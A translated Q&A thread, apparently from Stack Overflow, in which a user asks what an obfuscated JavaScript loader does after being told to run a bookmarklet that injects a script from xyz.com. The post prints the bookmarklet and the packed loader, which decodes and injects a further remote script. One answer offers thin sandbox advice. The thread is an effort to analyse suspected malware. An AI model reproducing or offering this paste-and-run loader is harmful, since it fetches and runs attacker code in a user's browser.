1

有人要求我在浏览器中执行以下操作:

javascript:(function(){document.body.appendChild(document.createElement('script')).src='http://xyz.com/new2.js';})();

当我下载 new2.js 文件查看它时,它包含以下内容:

eval(function(p,a,c,k,e,r)
{
 e=function(c)
 {
  return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))
 }
 ;
 if(!''.replace(/^/,String))
 {
  while(c--)r[e(c)]=k[c]||e(c);
  k=[function(e)
  {
   return r[e]
  }
  ];
  e=function()
  {
   return'\\w+'
  }
  ;
  c=1
 }
 ;
 while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
 return p
}
('1H(1A(p,a,c,k,e,r){e=1A(c){1B(c<a?\'\':e(1I(c/a)))+((c=c%a)>35?1C.1D(c+29):c.1J(36))};1E(!\'\'.1F(/^/,1C)){1G(c--)r[e(c)]=k[c]||e(c);k=[1A(e){1B r[e]}];e=1A(){1B\'\\\\w+\'};c=1};1G(c--)1E(k[c])p=p.1F(1K 1L(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1B p}(\'f G="H%g%u%1%9%1%b%b%c%1%I%J%1%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%v%1%9%u%1%1%1%1%K%L%M%N%O/P%1%3%1%1%1%1%1%1%1%1%1%1%1%d%7%3%3%1%1%1%1%1%1%1%1%1%1%1%h%1%9%j%3%1%1%1%1%1%1%1%1%1%1%1%7%w%x%j%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%Q%R%e%4%5%1%1%1%1%1%1%S%T%U%V%W%X%Y%Z%1%1%1%1%1%1%1%1%1%1%1%1%3%1%1%1%1%1%1%1%1%1%1%1%d%7%3%3%1%1%1%1%1%1%1%1%1%1%1%7%8%x%j%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%8%1%9%y%k/10%3%1%1%1%1%1%1%1%1%1%1%1%d%7%3%1%1%1%1%1%1%1%1%1%1%1%7%8/6/l%a%4%5%11%g%m%1%9%1%n%b%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%z/6%a%4%5/12/o%e%4%5%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%z/6%a%4%5/13/o%e%4%5%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%8/6%a%4%5/o%e%4%5%3%1%1%1%1%1%1%1%1%1%1%1%A%m%1%9%1%n%b%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%7%8/6/l%e%n%b%4%5%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%8/6/14%B/6%a%4%5%4%5%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%8/6/C%a%4%5%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%d%7%3%1%1%1%1%1%1%1%1%1%1%1%A%g%8/6/l%a%4%5%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%8/6/C%15%k/16%a%4%5%4%5%3%1%1%1%1%1%1%1%1%1%1%1%d%7%3%1%1%1%1%1%1%1%1%1%1%1%h%1%9%y%k/17/18%19%D%w%4%5%3%1%1%1%1%1%1%1%1%1%1%1%h/1a%B%D%m%4%5%3%1%1%1%1%1%1%1%1b%E%1c%1d%3%1%1%1%1%1%1%1%1%1%1%1%1e%E%3%1%1%1%1%1%1%1%1f%3%1%1%1%1%1%1%1%1%1%1%1%v%1%9%1%b%b%3%1%1%1%1%1%1%1%d%1g";f p="1h--1i/1j,1k`q,1l-1m/1n,1o";r="";s="";f t;t=p.1p;1q(i=0;i<t;i++){r+=1r.1s(p.1t(i)^2)}s=1u(r);F.1v.1w(F.1x(\\\'1y\\\')).1z=s;\',1M,1N,\'|1O||1P|1Q|1R|1S|1T|1U|1V|1W|1X|1Y|1Z|20|21|22|23||24|25|26|27|28|2a|2b||2c|2d|2e|2f|2g|2h|2i|2j|2k|2l|2m|2n|2o|2p|2q|2r|2s|2t|2u|2v|2w|2x|2y|2z|2A|2B|2C|2D|2E|2F|2G|2H|2I|2J|2K|2L|2M|2N|2O|2P|2Q|2R|2S|2T|2U|2V|2W|2X|2Y|2Z|30|31|32|33|34|37|38|39|3a|3b|3c|3d|1C|1D|3e|3f|3g|3h|3i|3j|3k\'.3l(\'|\'),0,{}))',62,208,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||function|return|String|fromCharCode|if|replace|while|eval|parseInt|toString|new|RegExp|62|98|2631|261B|263|3A|Ubcmft|2631Jg|2631et|264E|2639ubcmfobnf|2633|2631Uifo|2631Foe|2639|var|2631Opu|2631eb|2631Opuijoh|2631Ebub|Dpoubjot|2631ubcmfobnf|2633SFQPSU||Dmfbs|enkripsi|teks|teksasli|panjang|2631rsztus|2631rsz|2631do|2631Jt|2631Ofx|2638et|2631FmtfJg|2639et|Bee|263D|2631fy|document|thisisthemainstringofThisScript|Jg|2638fyqmjdju|2631wbsjbcmf|2638bttjho|2631rvfsz|2631tusjoh|2631up|2631dpoofdu|rsz|2631Dbmm|2631joj|2638jg|2631DPOOFDUJPO|2631opu|2631jojujbmj|7Bfe|2631uifo|2631ep|2631ju|EbubTfu|2631Boe|Spxt|Dpmvnot|Sfnpwf|2639Ofx|EbubUbcmf|PmfEc|PmfEcEbubBebqufs|2639rsz|Gjmm|2631Dbudi|2631Bt|2631Fydfqujpo|2631Uispx|2631Gjobmmz|2631Usz1|jvvr8|hkeq|apgcvkmlq|||ug|amo|epmwr|cffgp|hq|length|for|charCodeAt|unescape|body|appendChild|createElement|script|src|split'.split('|'),0,
{
}
))

在尝试使用它之前,我想知道它在他在我的浏览器中执行一些恶意代码时会做什么。我如何破译发生了什么?我对 javascript 非常熟悉,但我无法弄清楚这一点。

4

2 回答 2

1

它与这个问题中的脚本相同,不是吗?在那里回答的人得出的结论是它是恶意代码,所以最好不要执行它。

编辑 它不是相同的代码,但共享它的一部分。尽管如此,它仍然是恶意的。

于 2013-04-09T10:52:29.357 回答
-2

在某种沙盒虚拟机中运行它或尝试一些在线 javascript 应用程序,如jsfiddle

恶意代码通常被编码成这种乱码,无法如此清楚地显示它的真正作用。

于 2013-04-09T10:48:38.333 回答